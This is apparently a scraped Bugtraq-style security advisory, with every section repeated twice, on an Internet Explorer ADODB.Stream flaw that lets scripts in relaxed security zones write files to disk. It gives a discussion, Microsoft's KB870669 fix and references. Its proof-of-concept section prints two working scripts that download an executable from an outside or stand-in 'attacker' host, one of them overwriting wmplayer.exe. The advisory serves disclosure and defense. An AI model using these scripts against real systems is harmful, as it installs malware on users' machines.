Microsoft Internet Explorer ADODB.Stream Object File Installation Weakness
BID:10514
Info
Microsoft Internet Explorer ADODB.Stream Object File Installation Weakness
| Bugtraq ID: | 10514 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 23 2003 12:00AM |
| Updated: | Aug 23 2003 12:00AM |
| Credit: | Discovery is credited to Jelmer. |
| Vulnerable: |
Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 |
| Not Vulnerable: | |
Discussion
Microsoft Internet Explorer ADODB.Stream Object File Installation Weakness
Microsoft Internet Explorer is prone to a security weakness that may permit malicious HTML documents to create or overwrite files on a victim file system when interpreted from the Local Zone (or other Security Zones with relaxed security restrictions, such as the Intranet Zone).
This weakness depends on scripting that abuses the ADODB.Stream Object to write an attacker-specified file to the victim file system. In this manner, an HTML document that is interpreted in the context of a Security Zone with relaxed security restrictions may install a malicious file on the victim file system.
Exploitation of this weakness typically requires other vulnerabilities to redirect the browser into the Local Zone (or other appropriate Security Zone) and then reference the malicious content once it has been written to the client file system. Other attack vectors also exist, such as enticing a user to download an HTML document to their system then opening it with the Web browser. HTML email may also provide an attack vector for this weakness (in combination with other vulnerabilities). Cross-site scripting and HTML injection vulnerabilities in Web applications may also provide a surreptitious attack vector in unsuspecting clients.
This issue was publicized in August 2003 and was previously referenced in BID 8577 "Multiple Microsoft Internet Explorer Script Execution Vulnerabilities" but is now being assigned its own BID. There are numerous exploits and worms in the wild that depend on this issue, in tandem with other known vulnerabilities, to install malicious code on client computers.
Microsoft Internet Explorer is prone to a security weakness that may permit malicious HTML documents to create or overwrite files on a victim file system when interpreted from the Local Zone (or other Security Zones with relaxed security restrictions, such as the Intranet Zone).
This weakness depends on scripting that abuses the ADODB.Stream Object to write an attacker-specified file to the victim file system. In this manner, an HTML document that is interpreted in the context of a Security Zone with relaxed security restrictions may install a malicious file on the victim file system.
Exploitation of this weakness typically requires other vulnerabilities to redirect the browser into the Local Zone (or other appropriate Security Zone) and then reference the malicious content once it has been written to the client file system. Other attack vectors also exist, such as enticing a user to download an HTML document to their system then opening it with the Web browser. HTML email may also provide an attack vector for this weakness (in combination with other vulnerabilities). Cross-site scripting and HTML injection vulnerabilities in Web applications may also provide a surreptitious attack vector in unsuspecting clients.
This issue was publicized in August 2003 and was previously referenced in BID 8577 "Multiple Microsoft Internet Explorer Script Execution Vulnerabilities" but is now being assigned its own BID. There are numerous exploits and worms in the wild that depend on this issue, in tandem with other known vulnerabilities, to install malicious code on client computers.
Exploit / POC
Microsoft Internet Explorer ADODB.Stream Object File Installation Weakness
Numerous exploits in the wild take advantage of this and other security issues to install and execute malicious code on client systems. There are also a number of worms that have incorporated exploits for this and other security issues.
This proof-of-concept was initially released by Jelmer:
<script language="vbscript">
const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3
set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://ip3e83566f.speed.planet.nl/NOTEPAD.EXE",
false
xmlHTTP.send
contents = xmlHTTP.responseBody
Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open
oStr.Write(contents)
oStr.SaveToFile "c:\\test.exe", adSaveCreateOverwrite
</script>
This proof-of-concept was subsequently released by Jelmer to demonstrate how the issue may be used to overwrite wmplayer.exe:
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://attacker/trojan.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
Numerous exploits in the wild take advantage of this and other security issues to install and execute malicious code on client systems. There are also a number of worms that have incorporated exploits for this and other security issues.
This proof-of-concept was initially released by Jelmer:
<script language="vbscript">
const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3
set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://ip3e83566f.speed.planet.nl/NOTEPAD.EXE",
false
xmlHTTP.send
contents = xmlHTTP.responseBody
Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open
oStr.Write(contents)
oStr.SaveToFile "c:\\test.exe", adSaveCreateOverwrite
</script>
This proof-of-concept was subsequently released by Jelmer to demonstrate how the issue may be used to overwrite wmplayer.exe:
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://attacker/trojan.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
Solution / Fix
Microsoft Internet Explorer ADODB.Stream Object File Installation Weakness
Solution:
Microsoft has released a knowledge base article KB870669 informing users on how to disable the ADODB.Stream object from Internet Explorer. Please see the referenced article for futher information.
Microsoft has also released a Critical Update Windows-KB870669-x86-ENU.exe. This update will disable the ADODB.Stream object.
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 5.5 SP2
Microsoft Internet Explorer 5.5 SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
Solution:
Microsoft has released a knowledge base article KB870669 informing users on how to disable the ADODB.Stream object from Internet Explorer. Please see the referenced article for futher information.
Microsoft has also released a Critical Update Windows-KB870669-x86-ENU.exe. This update will disable the ADODB.Stream object.
Microsoft Internet Explorer 6.0 SP1
-
Microsoft Windows-KB870669-x86-ENU.exe
http://www.microsoft.com/downloads/details.aspx?FamilyID=4D056748-C538 -46F6-B7C8-2FBFD0D237E3&DisplayLang=en
Microsoft Internet Explorer 5.5 SP2
-
Microsoft Windows-KB870669-x86-ENU.exe
http://www.microsoft.com/downloads/details.aspx?FamilyID=4D056748-C538 -46F6-B7C8-2FBFD0D237E3&DisplayLang=en
Microsoft Internet Explorer 5.5 SP1
-
Microsoft Windows-KB870669-x86-ENU.exe
http://www.microsoft.com/downloads/details.aspx?FamilyID=4D056748-C538 -46F6-B7C8-2FBFD0D237E3&DisplayLang=en
Microsoft Internet Explorer 5.5
-
Microsoft Windows-KB870669-x86-ENU.exe
http://www.microsoft.com/downloads/details.aspx?FamilyID=4D056748-C538 -46F6-B7C8-2FBFD0D237E3&DisplayLang=en
Microsoft Internet Explorer 6.0
-
Microsoft Windows-KB870669-x86-ENU.exe
http://www.microsoft.com/downloads/details.aspx?FamilyID=4D056748-C538 -46F6-B7C8-2FBFD0D237E3&DisplayLang=en
References
Microsoft Internet Explorer ADODB.Stream Object File Installation Weakness
References:
References:
- Microsoft Knowledge Base Article - 870669 (Microsoft)
- ADODB.Stream object (Jelmer)
- Microsoft Statement Regarding Configuration Change to Windows in Response to Dow (Microsoft)
- Unpatched IE security holes (PivX Solutions)
- Unpatched Internet Explorer Bugs (Liu Die Yu)
- What You Should Know About Download.Ject (Microsoft)
- Internet explorer 6 on windows XP allows exection of arbitrary code (jelmer
- Re: a dangerous fast spreading (yet simple) trojan horse. (K-OTiK Security
- Re: idsearch.com and googleMS.DLL (Jelmer